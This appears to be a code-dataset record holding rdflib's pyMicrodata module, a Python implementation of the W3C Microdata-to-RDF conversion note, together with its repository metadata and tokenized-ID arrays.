0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
yingerj/rdflib
rdflib/plugins/parsers/pyMicrodata/microdata.py
13
23539
# -*- coding: utf-8 -*- """ The core of the Microdata->RDF conversion, a more or less verbatim implementation of the U{W3C IG Note<http://www.w3.org/TR/microdata-rdf/>}. Because the implementation was also used to check the note itself, it tries to be fairly close to the text. @organization: U{World Wide Web Consortium<http://www.w3.org>} @author: U{Ivan Herman<a href="http://www.w3.org/People/Ivan/">} @license: This software is available for use under the U{W3C® SOFTWARE NOTICE AND LICENSE<href="http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231">} """ """ $Id: microdata.py,v 1.4 2012/09/05 16:40:43 ivan Exp $ $Date: 2012/09/05 16:40:43 $ Added a reaction on the RDFaStopParsing exception: if raised while setting up the local execution context, parsing is stopped (on the whole subtree) """ import sys if sys.version_info[0] >= 3 : from urllib.parse import urlsplit, urlunsplit else : from urlparse import urlsplit, urlunsplit from types import * import rdflib from rdflib import URIRef from rdflib import Literal from rdflib import BNode from rdflib import Namespace if rdflib.__version__ >= "3.0.0" : from rdflib import Graph from rdflib import RDF as ns_rdf from rdflib import RDFS as ns_rdfs from rdflib import XSD as ns_xsd else : from rdflib.Graph import Graph from rdflib.RDFS import RDFSNS as ns_rdfs from rdflib.Literal import _XSD_NS as ns_xsd from rdflib.RDF import RDFNS as ns_rdf ns_owl = Namespace("http://www.w3.org/2002/07/owl#") from .registry import registry, vocab_names from .utils import generate_RDF_collection, get_Literal, get_time_type from .utils import get_lang_from_hierarchy, is_absolute_URI, generate_URI, fragment_escape MD_VOCAB = "http://www.w3.org/ns/md#" RDFA_VOCAB = URIRef("http://www.w3.org/ns/rdfa#usesVocabulary") from . import debug # Existing predicate schemes class PropertySchemes : vocabulary = "vocabulary" contextual = "contextual" class ValueMethod : unordered = "unordered" list = "list" # ---------------------------------------------------------------------------- class Evaluation_Context : """ Evaluation context structure. See Section 4.1 of the U{W3C IG Note<http://www.w3.org/TR/microdata-rdf/>}for the details. @ivar current_type : an absolute URL for the current type, used when an item does not contain an item type @ivar memory: mapping from items to RDF subjects @type memory: dictionary @ivar current_name: an absolute URL for the in-scope name, used for generating URIs for properties of items without an item type @ivar current_vocabulary: an absolute URL for the current vocabulary, from the registry """ def __init__( self ) : self.current_type = None self.memory = {} self.current_name = None self.current_vocabulary = None def get_memory( self, item ) : """ Get the memory content (ie, RDF subject) for 'item', or None if not stored yet @param item: an 'item', in microdata terminology @type item: DOM Element Node @return: None, or an RDF Subject (URIRef or BNode) """ if item in self.memory : return self.memory[item] else : return None def set_memory( self, item, subject ) : """ Set the memory content, ie, the subject, for 'item'. @param item: an 'item', in microdata terminology @type item: DOM Element Node @param subject: RDF Subject @type subject: URIRef or Blank Node """ self.memory[item] = subject def new_copy(self, itype) : """ During the generation algorithm a new copy of the current context has to be done with a new current type. At the moment, the content of memory is copied, ie, a fresh dictionary is created and the content copied over. Not clear whether that is necessary, though, maybe a simple reference is enough... @param itype : an absolute URL for the current type @return: a new evaluation context instance """ retval = Evaluation_Context() for k in self.memory : retval.memory[k] = self.memory[k] retval.current_type = itype retval.current_name = self.current_name retval.current_vocabulary = self.current_vocabulary return retval def __str__(self) : retval = "Evaluation context:\n" retval += " current type: %s\n" % self.current_type retval += " current name: %s\n" % self.current_name retval += " current vocabulary: %s\n" % self.current_vocabulary retval += " memory: %s\n" % self.memory retval += "----\n" return retval class Microdata : """ This class encapsulates methods that are defined by the U{microdata spec<http://dev.w3.org/html5/md/Overview.html>}, as opposed to the RDF conversion note. @ivar document: top of the DOM tree, as returned by the HTML5 parser @ivar base: the base URI of the Dom tree, either set from the outside or via a @base element """ def __init__( self, document, base = None) : """ @param document: top of the DOM tree, as returned by the HTML5 parser @param base: the base URI of the Dom tree, either set from the outside or via a @base element """ self.document = document #----------------------------------------------------------------- # set the document base, will be used to generate top level URIs self.base = None # handle the base element case for HTML for set_base in document.getElementsByTagName("base") : if set_base.hasAttribute("href") : # Yep, there is a local setting for base self.base = set_base.getAttribute("href") return # If got here, ie, if no local setting for base occurs, the input argument has it self.base = base def get_top_level_items( self ) : """ A top level item is and element that has the @itemscope set, but no @itemtype. They have to be collected in pre-order and depth-first fashion. @return: list of items (ie, DOM Nodes) """ def collect_items( node ) : items = [] for child in node.childNodes : if child.nodeType == node.ELEMENT_NODE : items += collect_items( child ) if node.hasAttribute("itemscope") and not node.hasAttribute("itemprop") : # This is also a top level item items.append(node) return items return collect_items( self.document ) def get_item_properties( self, item ) : """ Collect the item's properties, ie, all DOM descendent nodes with @itemprop until the subtree hits another @itemscope. @itemrefs are also added at this point. @param item: current item @type item: DOM Node @return: array of items, ie, DOM Nodes """ # go down the tree until another itemprop is hit, take care of the itemrefs, too; see the microdata doc # probably the ugliest stuff # returns a series of element nodes. # Is it worth filtering the ones with itemprop at that level??? results = [] memory = [ item ] pending = [ child for child in item.childNodes if child.nodeType == item.ELEMENT_NODE ] if item.hasAttribute("itemref") : for id in item.getAttribute("itemref").strip().split() : obj = self.getElementById(id) if obj != None : pending.append(obj) while len(pending) > 0 : current = pending.pop(0) if current in memory : # in general this raises an error; the same item cannot be there twice. In this case this is # simply ignored continue else : # this for the check above memory.append(current) # @itemscope is the barrier... if not current.hasAttribute("itemscope") : pending = [ child for child in current.childNodes if child.nodeType == child.ELEMENT_NODE ] + pending if current.hasAttribute("itemprop") and current.getAttribute("itemprop").strip() != "" : results.append(current) return results def getElementById(self, id) : """This is a method defined for DOM 2 HTML, but the HTML5 parser does not seem to define it. Oh well... @param id: value of an @id attribute to look for @return: array of nodes whose @id attribute matches C{id} (formally, there should be only one...) """ def collect_ids( node ) : ids = [] for child in node.childNodes : if child.nodeType == node.ELEMENT_NODE : ids += collect_ids( child ) if node.hasAttribute("id") and node.getAttribute("id") == id : # This is also a top level item ids.append(node) return ids ids = collect_ids(self.document) if len(ids) > 0 : return ids[0] else : return None class MicrodataConversion(Microdata) : """ Top level class encapsulating the conversion algorithms as described in the W3C note. @ivar graph: an RDF graph; an RDFLib Graph @type graph: RDFLib Graph @ivar document: top of the DOM tree, as returned by the HTML5 parser @ivar ns_md: the Namespace for the microdata vocabulary @ivar base: the base of the Dom tree, either set from the outside or via a @base element """ def __init__( self, document, graph, base = None, vocab_expansion = False, vocab_cache = True ) : """ @param graph: an RDF graph; an RDFLib Graph @type graph: RDFLib Graph @param document: top of the DOM tree, as returned by the HTML5 parser @keyword base: the base of the Dom tree, either set from the outside or via a @base element @keyword vocab_expansion: whether vocab expansion should be performed or not @type vocab_expansion: Boolean @keyword vocab_cache: if vocabulary expansion is done, then perform caching of the vocabulary data @type vocab_cache: Boolean """ Microdata.__init__(self, document, base) self.vocab_expansion = vocab_expansion self.vocab_cache = vocab_cache self.graph = graph self.ns_md = Namespace( MD_VOCAB ) self.graph.bind( "md",MD_VOCAB ) self.vocabularies_used = False # Get the vocabularies defined in the registry bound to proper names, if any... def _use_rdfa_context () : try : from ..pyRdfa.initialcontext import initial_context except : from pyRdfa.initialcontext import initial_context retval = {} vocabs = initial_context["http://www.w3.org/2011/rdfa-context/rdfa-1.1"].ns for prefix in list(vocabs.keys()) : uri = vocabs[prefix] if uri not in vocab_names and uri not in registry : retval[uri] = prefix return retval for vocab in registry : if vocab in vocab_names : self.graph.bind( vocab_names[vocab],vocab ) else : hvocab = vocab + '#' if hvocab in vocab_names : self.graph.bind( vocab_names[hvocab],hvocab ) # Add the prefixes defined in the RDFa initial context to improve the outlook of the output # I put this into a try: except: in case the pyRdfa package is not available... try : try : from ..pyRdfa.initialcontext import initial_context except : from pyRdfa.initialcontext import initial_context vocabs = initial_context["http://www.w3.org/2011/rdfa-context/rdfa-1.1"].ns for prefix in list(vocabs.keys()) : uri = vocabs[prefix] if uri not in registry : # if it is in the registry, then it may have needed some special microdata massage... self.graph.bind( prefix,uri ) except : pass def convert( self ) : """ Top level entry to convert and generate all the triples. It finds the top level items, and generates triples for each of them; additionally, it generates a top level entry point to the items from base in the form of an RDF list. """ item_list = [] for top_level_item in self.get_top_level_items() : item_list.append( self.generate_triples(top_level_item, Evaluation_Context()) ) list = generate_RDF_collection( self.graph, item_list ) self.graph.add( (URIRef(self.base),self.ns_md["item"],list) ) # If the vocab expansion is also switched on, this is the time to do it. # This is the version with my current proposal: the basic expansion is always there; # the follow-your-nose inclusion of vocabulary is optional if self.vocabularies_used : try : try : from ..pyRdfa.rdfs.process import MiniOWL, process_rdfa_sem from ..pyRdfa.options import Options except : from pyRdfa.rdfs.process import MiniOWL, process_rdfa_sem from pyRdfa.options import Options # if we did not get here, the pyRdfa package could not be # imported. Too bad, but life should go on in the except branch... if self.vocab_expansion : # This is the full deal options = Options(vocab_expansion = self.vocab_expansion, vocab_cache = self.vocab_cache) process_rdfa_sem(self.graph, options) else : MiniOWL(self.graph).closure() except : pass def generate_triples( self, item, context ) : """ Generate the triples for a specific item. See the W3C Note for the details. @param item: the DOM Node for the specific item @type item: DOM Node @param context: an instance of an evaluation context @type context: L{Evaluation_Context} @return: a URIRef or a BNode for the (RDF) subject """ # Step 1,2: if the subject has to be set, store it in memory subject = context.get_memory( item ) if subject == None : # nop, there is no subject set. If there is a valid @itemid, that carries it if item.hasAttribute("itemid") and is_absolute_URI( item.getAttribute("itemid") ): subject = URIRef( item.getAttribute("itemid").strip() ) else : subject = BNode() context.set_memory( item, subject ) # Step 3: set the type triples if any types = [] if item.hasAttribute("itemtype") : types = item.getAttribute("itemtype").strip().split() for t in types : if is_absolute_URI( t ) : self.graph.add( (subject, ns_rdf["type"], URIRef(t)) ) # Step 4, 5 and 6 to set the typing variable if len(types) == 0 : itype = None else : if is_absolute_URI(types[0]) : itype = types[0] context.current_name = None elif context.current_type != None : itype = context.current_type else : itype = None # Step 7, 8, 9: Check the registry for possible keys and set the vocab vocab = None if itype != None : for key in list(registry.keys()) : if itype.startswith(key) : # There is a predefined vocabulary for this type... vocab = key # Step 7: Issue an rdfa usesVocabulary triple self.graph.add( (URIRef(self.base), RDFA_VOCAB, URIRef(vocab))) self.vocabularies_used = True break # The registry has not set the vocabulary; has to be extracted from the type if vocab == None : parsed = urlsplit(itype) if parsed.fragment != "" : vocab = urlunsplit( (parsed.scheme,parsed.netloc,parsed.path,parsed.query,"") ) + '#' elif parsed.path == "" and parsed.query == "" : vocab = itype if vocab[-1] != '/' : vocab += '/' else : vocab = itype.rsplit('/',1)[0] + '/' # Step 9: update vocab in the context if vocab != None : context.current_vocabulary = vocab elif item.hasAttribute("itemtype") : context.current_vocabulary = None # Step 10: set up a property list; this will be used to generate triples later. # each entry in the dictionary is an array of RDF objects property_list = {} # Step 11: Get the item properties and run a cycle on those for prop in self.get_item_properties(item) : for name in prop.getAttribute("itemprop").strip().split() : # 11.1.1. set a new context new_context = context.new_copy(itype) # 11.1.2, generate the URI for the property name, that will be the predicate # Also update the context new_context.current_name = predicate = self.generate_predicate_URI( name,new_context ) # 11.1.3, generate the property value. The extra flag signals that the value is a new item # Note that 10.1.4 step is done in the method itself, ie, a recursion may occur there # if a new item is hit (in which case the return value is a RDF resource chaining to a subject) value = self.get_property_value( prop, new_context ) # 11.1.5, store all the values if predicate in property_list : property_list[predicate].append(value) else : property_list[predicate] = [ value ] # step 12: generate the triples for property in list(property_list.keys()) : self.generate_property_values( subject, URIRef(property), property_list[property], context ) # Step 13: return the subject to the caller return subject def generate_predicate_URI( self, name, context ) : """ Generate a full URI for a predicate, using the type, the vocabulary, etc. For details of this entry, see Section 4.4 @param name: name of the property, ie, what appears in @itemprop @param context: an instance of an evaluation context @type context: L{Evaluation_Context} """ if debug: print( "name: %s, %s" % (name,context) ) # Step 1: absolute URI-s are fine, take them as they are if is_absolute_URI(name) : return name # Step 2: if type is none, that this is just used as a fragment # if not context.current_type : if context.current_type == None and context.current_vocabulary == None : if self.base[-1] == '#' : b = self.base[:-1] else : b = self.base return b + '#' + fragment_escape(name) #if context.current_type == None : # return generate_URI( self.base, name ) # Step 3: set the scheme try : if context.current_vocabulary in registry and "propertyURI" in registry[context.current_vocabulary] : scheme = registry[context.current_vocabulary]["propertyURI"] else : scheme = PropertySchemes.vocabulary except : # This is when the structure of the registry is broken scheme = PropertySchemes.vocabulary name = fragment_escape( name ) if scheme == PropertySchemes.contextual : # Step 5.1 s = context.current_name # s = context.current_type if s != None and s.startswith("http://www.w3.org/ns/md?type=") : # Step 5.2 expandedURI = s + '.' + name else : # Step 5.3 expandedURI = "http://www.w3.org/ns/md?type=" + fragment_escape(context.current_type) + "&prop=" + name else : # Step 4 if context.current_vocabulary[-1] == '#' or context.current_vocabulary[-1] == '/' : expandedURI = context.current_vocabulary + name else : expandedURI = context.current_vocabulary + '#' + name # see if there are subproperty/equivalentproperty relations try : vocab_mapping = registry[context.current_vocabulary]["properties"][name] # if we got that far, we may have some mappings expandedURIRef = URIRef(expandedURI) try : subpr = vocab_mapping["subPropertyOf"] if subpr != None : if isinstance(subpr,list) : for p in subpr : self.graph.add( (expandedURIRef, ns_rdfs["subPropertyOf"], URIRef(p)) ) else : self.graph.add( (expandedURIRef, ns_rdfs["subPropertyOf"], URIRef(subpr)) ) except : # Ok, no sub property pass try : subpr = vocab_mapping["equivalentProperty"] if subpr != None : if isinstance(subpr,list) : for p in subpr : self.graph.add( (expandedURIRef, ns_owl["equivalentProperty"], URIRef(p)) ) else : self.graph.add( (expandedURIRef, ns_owl["equivalentProperty"], URIRef(subpr)) ) except : # Ok, no sub property pass except : # no harm done, no extra vocabulary term pass return expandedURI def get_property_value(self, node, context) : """ Generate an RDF object, ie, the value of a property. Note that if this element contains an @itemscope, then a recursive call to L{MicrodataConversion.generate_triples} is done and the return value of that method (ie, the subject for the corresponding item) is return as an object. Otherwise, either URIRefs are created for <a>, <img>, etc, elements, or a Literal; the latter gets a time-related type for the <time> element. @param node: the DOM Node for which the property values should be generated @type node: DOM Node @param context: an instance of an evaluation context @type context: L{Evaluation_Context} @return: an RDF resource (URIRef, BNode, or Literal) """ URI_attrs = { "audio" : "src", "embed" : "src", "iframe" : "src", "img" : "src", "source" : "src", "track" : "src", "video" : "src", "data" : "src", "a" : "href", "area" : "href", "link" : "href", "object" : "data" } lang = get_lang_from_hierarchy( self.document, node ) if node.hasAttribute("itemscope") : # THIS IS A RECURSION ENTRY POINT! return self.generate_triples( node, context ) elif node.tagName in URI_attrs and node.hasAttribute(URI_attrs[node.tagName]) : return URIRef( generate_URI( self.base, node.getAttribute(URI_attrs[node.tagName]).strip() ) ) elif node.tagName == "meta" and node.hasAttribute("content") : if lang : return Literal( node.getAttribute("content"), lang = lang ) else : return Literal( node.getAttribute("content") ) elif node.tagName == "meter" or node.tagName == "data" : if node.hasAttribute("value") : val = node.getAttribute("value") # check whether the attribute value can be defined as a float or an integer try : fval = int(val) dt = ns_xsd["integer"] except : # Well, not an int, try then a integer try : fval = float(val) dt = ns_xsd["float"] except : # Sigh, this is not a valid value, but let it go through as a plain literal nevertheless fval = val dt = None if dt : return Literal( val, datatype = dt) else : return Literal( val ) else : return Literal( "" ) elif node.tagName == "time" and node.hasAttribute("datetime") : litval = node.getAttribute("datetime") dtype = get_time_type(litval) if dtype : return Literal( litval, datatype = dtype ) else : return Literal( litval ) else : if lang : return Literal( get_Literal(node), lang = lang ) else : return Literal( get_Literal(node) ) def generate_property_values( self, subject, predicate, objects, context) : """ Generate the property values for a specific subject and predicate. The context should specify whether the objects should be added in an RDF list or each triples individually. @param subject: RDF subject @type subject: RDFLib Node (URIRef or blank node) @param predicate: RDF predicate @type predicate: RDFLib URIRef @param objects: RDF objects @type objects: list of RDFLib nodes (URIRefs, Blank Nodes, or literals) @param context: evaluation context @type context: L{Evaluation_Context} """ # generate triples with a list, or a bunch of triples, depending on the context # The biggest complication is to find the method... method = ValueMethod.unordered superproperties = None # This is necessary because predicate is a URIRef, and I am not sure the comparisons would work well # to be tested, in fact... pred_key = "%s" % predicate for key in registry : if predicate.startswith(key) : # This the part of the registry corresponding to the predicate's vocabulary registry_object = registry[key] try : if "multipleValues" in registry_object : method = registry_object["multipleValues"] # The generic definition can be overwritten for a specific property. The simplest is to rely on a 'try' # with the right structure... try : method = registry_object["properties"][pred_key[len(key):]]["multipleValues"] except : pass except : pass if method == ValueMethod.unordered : for object in objects : self.graph.add( (subject, predicate, object) ) else : self.graph.add( (subject,predicate,generate_RDF_collection( self.graph, objects )) )
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 199, 1918, 6170, 402, 314, 27022, 576, 5118, 28949, 8603, 12, 282, 1655, 503, 6656, 16041, 24218, 4514, 402, 314, 199, 53, 91, 55, 19, 35, 473, 39, 3390, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 6453, 576, 13, 17120, 3133, 5565, 13821, 314, 4514, 1990, 2597, 1202, 370, 1104, 199, 1589, 5317, 6337, 12, 652, 11275, 370, 506, 28092, 590, 4002, 370, 314, 1318, 14, 421, 199, 32, 9071, 26, 738, 91, 15943, 32612, 6001, 1448, 1509, 280, 453, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 23307, 199, 32, 2502, 26, 738, 91, 41, 20662, 18769, 1237, 28, 65, 4369, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8070, 7939, 15, 41, 20662, 26049, 93, 199, 32, 1682, 26, 961, 2032, 365, 2808, 367, 675, 1334, 314, 199, 53, 91, 55, 19, 35, 127, 107, 4141, 12840, 2401, 5113, 28, 6399, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 714, 1509, 280, 453, 15, 13257, 279, 15, 15135, 15, 7307, 13, 15619, 13, 1840, 11722, 2192, 1743, 93, 199, 624, 199, 199, 624, 199, 4, 1304, 26, 9967, 576, 14, 647, 12, 86, 413, 14, 20, 6029, 15, 1643, 15, 1717, 3193, 26, 2167, 26, 2824, 18831, 290, 7910, 2672, 199, 4, 2506, 26, 6029, 15, 1643, 15, 1717, 3193, 26, 2167, 26, 2824, 2672, 199, 199, 20201, 282, 26909, 641, 314, 820, 36, 1906, 6293, 17412, 1919, 26, 340, 4915, 1830, 4260, 1536, 314, 2257, 6451, 1067, 12, 6057, 199, 374, 15248, 334, 265, 314, 8852, 26897, 9, 199, 624, 199, 199, 646, 984, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 520, 199, 198, 504, 4011, 14, 1122, 492, 29596, 12, 1166, 30038, 199, 2836, 520, 198, 199, 198, 504, 7097, 492, 29596, 12, 1166, 30038, 199, 199, 504, 2943, 492, 627, 199, 199, 646, 18148, 773, 199, 504, 18148, 773, 198, 646, 9022, 2891, 199, 504, 18148, 773, 198, 646, 18271, 199, 504, 18148, 773, 198, 646, 699, 1716, 199, 504, 18148, 773, 198, 646, 19317, 199, 692, 18148, 773, 855, 1023, 363, 2356, 298, 19, 14, 16, 14, 16, 2, 520, 199, 198, 504, 18148, 773, 198, 646, 11513, 199, 198, 504, 18148, 773, 198, 646, 820, 3888, 221, 465, 700, 63, 17120, 199, 198, 504, 18148, 773, 198, 646, 820, 3888, 51, 465, 700, 63, 82, 10434, 199, 198, 504, 18148, 773, 492, 1323, 3693, 221, 465, 700, 63, 10515, 199, 2836, 520, 199, 198, 504, 18148, 773, 14, 4578, 198, 646, 11513, 199, 198, 504, 18148, 773, 14, 28949, 51, 198, 646, 820, 3888, 51, 2709, 221, 465, 700, 63, 82, 10434, 199, 198, 504, 18148, 773, 14, 7621, 492, 485, 56, 3693, 63, 2709, 465, 700, 63, 10515, 199, 198, 504, 18148, 773, 14, 28949, 198, 198, 646, 820, 3888, 2709, 257, 465, 700, 63, 17120, 507, 199, 561, 63, 583, 76, 275, 19317, 480, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 15135, 15, 1780, 15, 583, 76, 3, 531, 199, 199, 504, 1275, 5189, 492, 7086, 12, 11181, 63, 1247, 199, 504, 1275, 1208, 198, 257, 492, 3550, 63, 28949, 63, 3627, 12, 664, 63, 7621, 12, 664, 63, 521, 63, 466, 199, 504, 1275, 1208, 198, 257, 492, 664, 63, 4159, 63, 504, 63, 14861, 12, 365, 63, 6116, 63, 7639, 12, 3550, 63, 7639, 12, 7956, 63, 3765, 199, 199, 5127, 63, 10662, 35, 1217, 257, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 561, 15, 1064, 23662, 199, 15543, 2078, 63, 10662, 35, 1217, 275, 9022, 2891, 480, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 561, 15, 6883, 667, 3, 5589, 54, 6607, 11439, 531, 199, 199, 504, 1275, 492, 3105, 199, 199, 3, 1316, 26958, 11944, 21149, 199, 533, 16158, 19530, 83, 520, 199, 198, 18681, 275, 298, 18681, 2, 199, 198, 1100, 1061, 275, 298, 1100, 1061, 2, 507, 199, 533, 1594, 3767, 520, 199, 198, 24182, 275, 298, 24182, 2, 199, 198, 513, 420, 275, 298, 513, 2, 199, 199, 3, 27103, 199, 199, 533, 16494, 4086, 63, 2998, 520, 199, 198, 624, 199, 198, 29786, 1067, 5523, 14, 1666, 15247, 841, 14, 17, 402, 314, 738, 91, 55, 19, 35, 473, 39, 3390, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 6453, 576, 13, 17120, 3133, 93, 509, 314, 2436, 14, 8299, 198, 32, 7725, 1453, 63, 466, 520, 376, 3679, 2851, 367, 314, 1453, 730, 12, 1202, 1380, 376, 1242, 1630, 440, 1395, 376, 1242, 730, 199, 198, 32, 7725, 4402, 26, 4412, 687, 2974, 370, 820, 3888, 32446, 199, 198, 32, 466, 4402, 26, 2600, 199, 198, 32, 7725, 1453, 63, 354, 26, 376, 3679, 2851, 367, 314, 315, 13, 2645, 536, 12, 1202, 367, 12999, 30143, 367, 4382, 402, 2974, 1928, 376, 1242, 730, 199, 198, 32, 7725, 1453, 63, 18681, 26, 376, 3679, 2851, 367, 314, 1453, 17515, 12, 687, 314, 7086, 199, 198, 624, 199, 198, 318, 636, 826, 721, 291, 776, 520, 507, 198, 277, 14, 1818, 63, 466, 755, 275, 488, 507, 198, 277, 14, 4844, 3777, 275, 1052, 507, 198, 277, 14, 1818, 63, 354, 755, 275, 488, 507, 198, 277, 14, 1818, 63, 18681, 275, 488, 18118, 198, 318, 664, 63, 4844, 8, 291, 12, 1242, 776, 520, 507, 198, 624, 507, 198, 1002, 314, 4402, 1564, 334, 1873, 12, 820, 3888, 5420, 9, 367, 283, 1053, 297, 503, 488, 340, 440, 5489, 5966, 507, 198, 32, 635, 1242, 26, 376, 283, 1053, 297, 315, 9967, 576, 5537, 7085, 507, 198, 32, 466, 1242, 26, 14316, 6566, 5013, 507, 198, 32, 1107, 26, 488, 12, 503, 376, 820, 3888, 26793, 334, 7639, 2891, 503, 699, 1716, 9, 507, 198, 624, 507, 198, 692, 1242, 315, 291, 14, 4844, 520, 686, 198, 1107, 291, 14, 4844, 59, 1053, 61, 507, 198, 2836, 520, 686, 198, 1107, 488, 18118, 198, 318, 663, 63, 4844, 8, 291, 12, 1242, 12, 5420, 776, 520, 507, 198, 624, 507, 198, 1084, 314, 4402, 1564, 12, 13446, 12 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 199, 1918, 6170, 402, 314, 27022, 576, 5118, 28949, 8603, 12, 282, 1655, 503, 6656, 16041, 24218, 4514, 402, 314, 199, 53, 91, 55, 19, 35, 473, 39, 3390, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 6453, 576, 13, 17120, 3133, 5565, 13821, 314, 4514, 1990, 2597, 1202, 370, 1104, 199, 1589, 5317, 6337, 12, 652, 11275, 370, 506, 28092, 590, 4002, 370, 314, 1318, 14, 421, 199, 32, 9071, 26, 738, 91, 15943, 32612, 6001, 1448, 1509, 280, 453, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 23307, 199, 32, 2502, 26, 738, 91, 41, 20662, 18769, 1237, 28, 65, 4369, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8070, 7939, 15, 41, 20662, 26049, 93, 199, 32, 1682, 26, 961, 2032, 365, 2808, 367, 675, 1334, 314, 199, 53, 91, 55, 19, 35, 127, 107, 4141, 12840, 2401, 5113, 28, 6399, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 714, 1509, 280, 453, 15, 13257, 279, 15, 15135, 15, 7307, 13, 15619, 13, 1840, 11722, 2192, 1743, 93, 199, 624, 199, 199, 624, 199, 4, 1304, 26, 9967, 576, 14, 647, 12, 86, 413, 14, 20, 6029, 15, 1643, 15, 1717, 3193, 26, 2167, 26, 2824, 18831, 290, 7910, 2672, 199, 4, 2506, 26, 6029, 15, 1643, 15, 1717, 3193, 26, 2167, 26, 2824, 2672, 199, 199, 20201, 282, 26909, 641, 314, 820, 36, 1906, 6293, 17412, 1919, 26, 340, 4915, 1830, 4260, 1536, 314, 2257, 6451, 1067, 12, 6057, 199, 374, 15248, 334, 265, 314, 8852, 26897, 9, 199, 624, 199, 199, 646, 984, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 520, 199, 198, 504, 4011, 14, 1122, 492, 29596, 12, 1166, 30038, 199, 2836, 520, 198, 199, 198, 504, 7097, 492, 29596, 12, 1166, 30038, 199, 199, 504, 2943, 492, 627, 199, 199, 646, 18148, 773, 199, 504, 18148, 773, 198, 646, 9022, 2891, 199, 504, 18148, 773, 198, 646, 18271, 199, 504, 18148, 773, 198, 646, 699, 1716, 199, 504, 18148, 773, 198, 646, 19317, 199, 692, 18148, 773, 855, 1023, 363, 2356, 298, 19, 14, 16, 14, 16, 2, 520, 199, 198, 504, 18148, 773, 198, 646, 11513, 199, 198, 504, 18148, 773, 198, 646, 820, 3888, 221, 465, 700, 63, 17120, 199, 198, 504, 18148, 773, 198, 646, 820, 3888, 51, 465, 700, 63, 82, 10434, 199, 198, 504, 18148, 773, 492, 1323, 3693, 221, 465, 700, 63, 10515, 199, 2836, 520, 199, 198, 504, 18148, 773, 14, 4578, 198, 646, 11513, 199, 198, 504, 18148, 773, 14, 28949, 51, 198, 646, 820, 3888, 51, 2709, 221, 465, 700, 63, 82, 10434, 199, 198, 504, 18148, 773, 14, 7621, 492, 485, 56, 3693, 63, 2709, 465, 700, 63, 10515, 199, 198, 504, 18148, 773, 14, 28949, 198, 198, 646, 820, 3888, 2709, 257, 465, 700, 63, 17120, 507, 199, 561, 63, 583, 76, 275, 19317, 480, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 15135, 15, 1780, 15, 583, 76, 3, 531, 199, 199, 504, 1275, 5189, 492, 7086, 12, 11181, 63, 1247, 199, 504, 1275, 1208, 198, 257, 492, 3550, 63, 28949, 63, 3627, 12, 664, 63, 7621, 12, 664, 63, 521, 63, 466, 199, 504, 1275, 1208, 198, 257, 492, 664, 63, 4159, 63, 504, 63, 14861, 12, 365, 63, 6116, 63, 7639, 12, 3550, 63, 7639, 12, 7956, 63, 3765, 199, 199, 5127, 63, 10662, 35, 1217, 257, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 561, 15, 1064, 23662, 199, 15543, 2078, 63, 10662, 35, 1217, 275, 9022, 2891, 480, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 561, 15, 6883, 667, 3, 5589, 54, 6607, 11439, 531, 199, 199, 504, 1275, 492, 3105, 199, 199, 3, 1316, 26958, 11944, 21149, 199, 533, 16158, 19530, 83, 520, 199, 198, 18681, 275, 298, 18681, 2, 199, 198, 1100, 1061, 275, 298, 1100, 1061, 2, 507, 199, 533, 1594, 3767, 520, 199, 198, 24182, 275, 298, 24182, 2, 199, 198, 513, 420, 275, 298, 513, 2, 199, 199, 3, 27103, 199, 199, 533, 16494, 4086, 63, 2998, 520, 199, 198, 624, 199, 198, 29786, 1067, 5523, 14, 1666, 15247, 841, 14, 17, 402, 314, 738, 91, 55, 19, 35, 473, 39, 3390, 28, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 6453, 576, 13, 17120, 3133, 93, 509, 314, 2436, 14, 8299, 198, 32, 7725, 1453, 63, 466, 520, 376, 3679, 2851, 367, 314, 1453, 730, 12, 1202, 1380, 376, 1242, 1630, 440, 1395, 376, 1242, 730, 199, 198, 32, 7725, 4402, 26, 4412, 687, 2974, 370, 820, 3888, 32446, 199, 198, 32, 466, 4402, 26, 2600, 199, 198, 32, 7725, 1453, 63, 354, 26, 376, 3679, 2851, 367, 314, 315, 13, 2645, 536, 12, 1202, 367, 12999, 30143, 367, 4382, 402, 2974, 1928, 376, 1242, 730, 199, 198, 32, 7725, 1453, 63, 18681, 26, 376, 3679, 2851, 367, 314, 1453, 17515, 12, 687, 314, 7086, 199, 198, 624, 199, 198, 318, 636, 826, 721, 291, 776, 520, 507, 198, 277, 14, 1818, 63, 466, 755, 275, 488, 507, 198, 277, 14, 4844, 3777, 275, 1052, 507, 198, 277, 14, 1818, 63, 354, 755, 275, 488, 507, 198, 277, 14, 1818, 63, 18681, 275, 488, 18118, 198, 318, 664, 63, 4844, 8, 291, 12, 1242, 776, 520, 507, 198, 624, 507, 198, 1002, 314, 4402, 1564, 334, 1873, 12, 820, 3888, 5420, 9, 367, 283, 1053, 297, 503, 488, 340, 440, 5489, 5966, 507, 198, 32, 635, 1242, 26, 376, 283, 1053, 297, 315, 9967, 576, 5537, 7085, 507, 198, 32, 466, 1242, 26, 14316, 6566, 5013, 507, 198, 32, 1107, 26, 488, 12, 503, 376, 820, 3888, 26793, 334, 7639, 2891, 503, 699, 1716, 9, 507, 198, 624, 507, 198, 692, 1242, 315, 291, 14, 